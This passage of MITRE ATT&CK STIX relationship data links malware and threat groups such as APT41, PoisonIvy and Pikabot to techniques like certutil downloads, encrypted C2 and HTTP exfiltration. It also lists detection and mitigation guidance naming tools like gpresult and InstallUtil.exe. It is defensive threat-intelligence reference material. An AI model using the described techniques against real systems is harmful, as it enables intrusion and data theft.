Damage and Extracting Intelligence. Retrieved September 19, 2024.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:30:03.924Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) uses the Camellia cipher to encrypt communications.(Citation: FireEye Poison Ivy)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b41dfa32-bec0-49ee-923f-d4880f4f31ce","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:05:30.596Z","description":"[OnionDuke](https://attack.mitre.org/software/S0052) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b42354ae-384d-4885-96a0-1594ed6dd427","type":"relationship","created":"2021-10-11T18:53:48.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.792Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can collect information about the drives available on the system.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b42c23c9-99f4-4b1f-91e2-a945a119fe98","created":"2020-04-28T13:48:00.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 March 2020","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"},{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:39:46.995Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used [certutil](https://attack.mitre.org/software/S0160) to download additional files.(Citation: FireEye APT41 March 2020)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Group IB APT 41 June 2021) [APT41](https://attack.mitre.org/groups/G0096) downloaded post-exploitation tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) via command shell following initial access.(Citation: Rostovcev APT41 2021) [APT41](https://attack.mitre.org/groups/G0096) has uploaded Procdump and NATBypass to a staging directory and has used these tools in follow-on activities.(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b42d990f-4fa7-40be-9018-73c75130fcfe","created":"2023-03-13T17:55:25.713Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T17:55:25.713Z","description":"Use application control where appropriate to block use of PowerShell CmdLets or other host based resources to access cloud API resources.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b432bca9-8f75-431d-b0af-f43623e287d4","type":"relationship","created":"2020-06-23T19:12:25.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-16T21:02:05.517Z","description":"Script blocking extensions can help prevent the execution of JavaScript and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4349e95-eeff-4784-8a7d-2c6d60a734dd","type":"relationship","created":"2019-04-19T15:30:36.819Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.432Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has the ability to connect to a remote host in order to upload and download files.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b43dfc0c-beca-45c0-bb47-5b57a6acada9","type":"relationship","created":"2021-09-02T16:01:58.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."},{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."},{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.110Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has sent spearphishing e-mails with attachments to deliver malicious payloads.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)(Citation: Unit 42 ProjectM March 2016)\t ","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4445491-4549-4333-b6b8-034ab4932295","type":"relationship","created":"2020-08-11T21:15:35.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.509Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can issue SOAP requests to delete already processed C2 emails. [RDAT](https://attack.mitre.org/software/S0495) can also delete itself from the infected system.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4447988-d4a6-4a6d-b2d0-802869a6006a","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor newly executed processes that may leverage Microsoft Office-based applications for persistence between startups. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4457aad-3021-4413-80a9-2ddb1210f111","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4480a33-9011-42d8-a2d9-15748f877bed","created":"2023-08-19T02:34:56.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T14:37:46.281Z","description":"Review and monitor financial application logs for signs of financial theft, such as abnormal monetary transactions or resource balances.\n\nEmail logs may also highlight account takeovers, impersonation, or another activity that may enable monetary theft.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b44a5877-4cd1-4a5c-b2ea-d1078da36cc2","created":"2024-07-16T18:51:20.093Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:51:20.093Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) uses base64 encoding in conjunction with symmetric encryption mechanisms to obfuscate command and control communications.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b44bf5b1-42f8-4c70-9108-9699e8fa66ec","created":"2021-10-07T16:38:37.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Chaes Nov 2020","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:22:24.174Z","description":"Some versions of [Chaes](https://attack.mitre.org/software/S0631) stored its instructions (otherwise in a `instructions.ini` file) in the Registry.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b45c7b78-55c7-4418-ab03-9f805de7376d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 2019"},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2022-03-22T17:21:33.384Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) has used legitimate social networking sites and cloud platforms (including but not limited to Twitter, Yandex, Dropbox, and Mediafire) for C2 communications.(Citation: Talos ROKRAT)(Citation: Securelist ScarCruft May 2019)(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b45d1bb3-5254-4fc5-ada0-d360584b174c","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Also monitor software update frameworks that may strip this flag when performing updates.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b45e744d-f9c3-4469-a410-137f1802536f","type":"relationship","created":"2020-05-20T19:54:06.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.773Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can collect information from an air-gapped host machine.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b462ba3d-65a4-4565-be36-94d3169b993f","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b4642810-53c4-4ff2-859f-f4b707a36097","created":"2022-04-16T21:30:58.828Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) can go through a list of C2 server IPs and will try to register with each until one responds.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-16T21:31:32.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b4645fc7-ed61-46d8-a793-ce0e8e43b64a","created":"2023-10-02T17:38:12.273Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T17:38:12.273Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has the ability to communicate over custom communications methodologies that ride over common network protocols including raw TCP and UDP sockets, HTTP, SMTP, and DNS.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4655ee0-bb6f-4fe3-9427-7cc7e91c61d8","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None.\r\n\r\nA larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b465fe54-83e6-4d1c-b752-d13bb788c3ac","created":"2019-06-14T17:17:06.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:41:35.797Z","description":"Limit the number of accounts with permissions to create other accounts. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b46d0c20-61f1-4ab4-be3b-fa7dace805f0","type":"relationship","created":"2021-03-01T14:07:36.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.497Z","description":"[LookBack](https://attack.mitre.org/software/S0582) uses a custom binary protocol over sockets for C2 communications.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b471fc88-4709-4e9d-91a4-8072d15e70a3","created":"2024-07-30T14:09:10.914Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:09:10.914Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered a PowerShell script capable of recursively scanning victim machines looking for various file types before exfiltrating identified files via HTTP.(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4728dde-0d7b-4650-910d-4778a07cbfa0","type":"relationship","created":"2021-04-06T12:22:23.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-06T12:22:23.769Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) was executed in an Ubuntu container deployed via an open Docker daemon API.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4795040-fe94-429a-9853-f30c09ba05aa","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain screenshots from the victim.(Citation: FireEye FIN7 